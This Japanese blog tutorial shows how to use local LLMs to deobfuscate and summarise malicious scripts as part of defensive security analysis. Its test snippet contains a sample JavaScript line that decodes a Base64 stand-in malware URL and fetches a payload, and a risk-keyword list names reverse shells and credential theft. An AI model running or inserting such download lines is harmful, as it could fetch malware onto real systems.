マルウェア解析におけるAI:LLMを活用した悪意のあるスクリプトの難読化解除と要約

AI tutorial - IT technology blog
AI tutorial - IT technology blog

背景:手動のパターンマッチングからの脱却

マルウェア解析は、かつて非常に骨の折れる手動作業でした。攻撃者はスキャナーを回避するために、変数のリネーム、Base64エンコーディング、デッドコードの挿入といった手法を用いて意図を隠蔽します。すべての変数が_0x4a2bといった名前の5,000行のJavaScriptファイルに頭を悩ませたことがあるなら、その苦労がわかるはずです。それは退屈で、ミスも起こりやすい作業です。

セキュリティ運用に携わる中で、最大のボトルネックはこれらのスクリプトの「展開(アンパック)」であることに気づきました。1つのPowerShellスクリプトの内容を理解するだけで、3〜4時間の手作業が必要になることも珍しくありませんでした。GPT-4やClaude 3.5といった大規模言語モデル(LLM)を活用することで、その時間を5分未満に短縮できました。これらのモデルは単にシグネチャを探すだけでなく、コードのロジックを推論し、ノイズの中から重要な情報を見つけ出します。

LLMは、構文が意図的に改ざんされている場合でも、スクリプトの背後にある構造を特定することに長けています。データの流れを理解できるため、難解なダウンローダーを人間が読める明確な要約へとほぼ瞬時に変換できます。これにより、仕事の内容が「構文の解読」から「戦略的な意思決定」へと変わるのです。

インストール:解析環境のセットアップ

これには制御された環境が必要です。メインのPCで生のマルウェアを解析してはいけません。安全を確保するため、専用のLinux VMやDockerコンテナを使用してください。ここでは、LLMと通信するためにPythonを使用し、機密データを保護するためにローカル解析用のollamaライブラリを使用します。

1. Python環境の準備

まず、仮想環境を作成します。これにより、依存関係をクリーンで隔離された状態に保つことができます。

mkdir ai-malware-analysis
cd ai-malware-analysis
python3 -m venv venv
source venv/bin/activate
pip install openai ollama python-dotenv

2. ローカルLLMのセットアップ

悪意のあるコードに自社の内部IPや資格情報が含まれている場合、クラウドプロバイダーに送信するのはリスクが伴います。Ollamaを使用すると、モデルをローカルで実行できます。8GB以上のVRAMを搭載したGPUがあれば、llama3が最適です。より高い精度を求めるなら、24GB以上のVRAMがある場合にdeepseek-coderを試してみてください。

ollama pull llama3:8b
# またはコーディング特化型モデルを使用する
ollama pull deepseek-coder:33b

設定:解析パイプラインの構築

AI主導の解析の真の力は、問題をどのように定義するかにあります。単にファイルが「悪い」かどうかをAIに尋ねるのではなく、特定のメソドロジーに従う経験豊富なセキュリティリサーチャーとして振る舞うよう指示する必要があります。

システムプロンプトの定義

構造化されたペルソナを定義することで、「ハルシネーション(AIが実際には存在しない機能を捏造すること)」を減らせることがわかりました。以下は、厳格なルールセットで解析を初期化するためのPythonスニペットです:

import ollama

SYSTEM_PROMPT = """
あなたは熟練したマルウェアリサーチャーです。あなたのタスクはスクリプトの難読化を解除し、その動作を要約することです。
ルール:
1. 難読化の手法(例:XOR、Base64、文字コードシフト)を特定すること。
2. 変数名を実際の目的に基づいてリネームすること。
3. URL、IPアドレス、ファイルパスなどの侵害指標(IOC)を抽出すること。
4. 脅威を分類すること(例:ランサムウェア、資格情報窃取ツール)。
最初にクリーンなコードを出力し、その後に要約を出力してください。
"""

def analyze_malware(script_content):
    response = ollama.chat(model='llama3',
                           messages=[
                               {'role': 'system', 'content': SYSTEM_PROMPT},
                               {'role': 'user', 'content': f"このスクリプトを解析してください:\n\n{script_content}"}
                           ])
    return response['message']['content']

巨大なスクリプトの処理

LLMにはコンテキスト制限がありますが、拡張されつつあります。GPT-4oは128kトークンをサポートしていますが、Llama 3のようなローカルモデルは通常より制限が厳しいです。スクリプトが膨大な場合は、一度にすべてを入力せず、個別の関数に分割してください。「Map-Reduce」アプローチを使用し、各関数を個別に要約してから、それらの要約がどのように関連しているかをAIに説明させます。

検証:正確性と安全性の確保

AIは強力なアシスタントですが、完璧ではありません。複雑なロジックを誤解したり、微妙な「アンチVM(仮想環境検知)」チェックを見逃したりすることがあります。検証は必須です。

1. クロスチェック手法

AIが侵害指標(IOC)を特定したら、手動で検証してください。AIがスクリプトはevil-domain.comに接続していると言った場合、生コードに対してgrepctrl+fでその文字列を検索します。文字列がエンコードされている場合は、CyberChefなどのツールを使用して、Base64の出力(例:ZXZpbC1kb21haW4uY29t)がAIの報告と一致することを確認します。

2. 自動バリデーション

AIのレポートに含まれる高リスクなキーワードにフラグを立てる簡単なスクリプトを使用できます。これにより、どのサンプルに人間の即時介入が必要かを優先順位付けできます。

def flag_high_risk(analysis_report):
    risk_keywords = ['認証情報の窃取', 'データ流出', 'リバースシェル', 'レジストリ変更']
    found_risks = [word for word in risk_keywords if word in analysis_report.lower()]
    
    if found_risks:
        print(f"[!] 警告: {', '.join(found_risks)} が検出されました。")
    else:
        print("[*] 高リスクな指標は見つかりませんでした。")

# クイックテスト
malicious_js = "var _0x12=atob('aHR0cDovL21hbHdhcmUuY29tL3BheWxvYWQuZXhl'); fetch(_0x12)..."
report = analyze_malware(malicious_js)
flag_high_risk(report)

3. 運用のベストプラクティス

  • 静的解析のみ実施: Python環境がマルウェアを絶対に実行しないように注意してください。AIにはコードを実行させるのではなく、読み取らせるために使用します。
  • データプライバシー: スクリプトに社内の内部データが含まれている場合は、ローカルモデルを使用してください。クラウドAPIは、学習のためにプロンプトを保存する可能性があります。
  • 反復的に行う: 要約が曖昧な場合は、追加の質問をしてください。「12行目のループの目的は何ですか?」といった質問は、単一の広範な問い合わせよりも良い結果をもたらすことが多いです。

セキュリティワークフローにLLMを統合することで、遅くて退屈な手作業が、迅速で戦略的なレビューへと変わります。私の関心は「これをどうやってデコードするか」から「攻撃者の目的は何か」へと移りました。これこそが、エンジニアの時間が最も価値を発揮する場所です。

Share: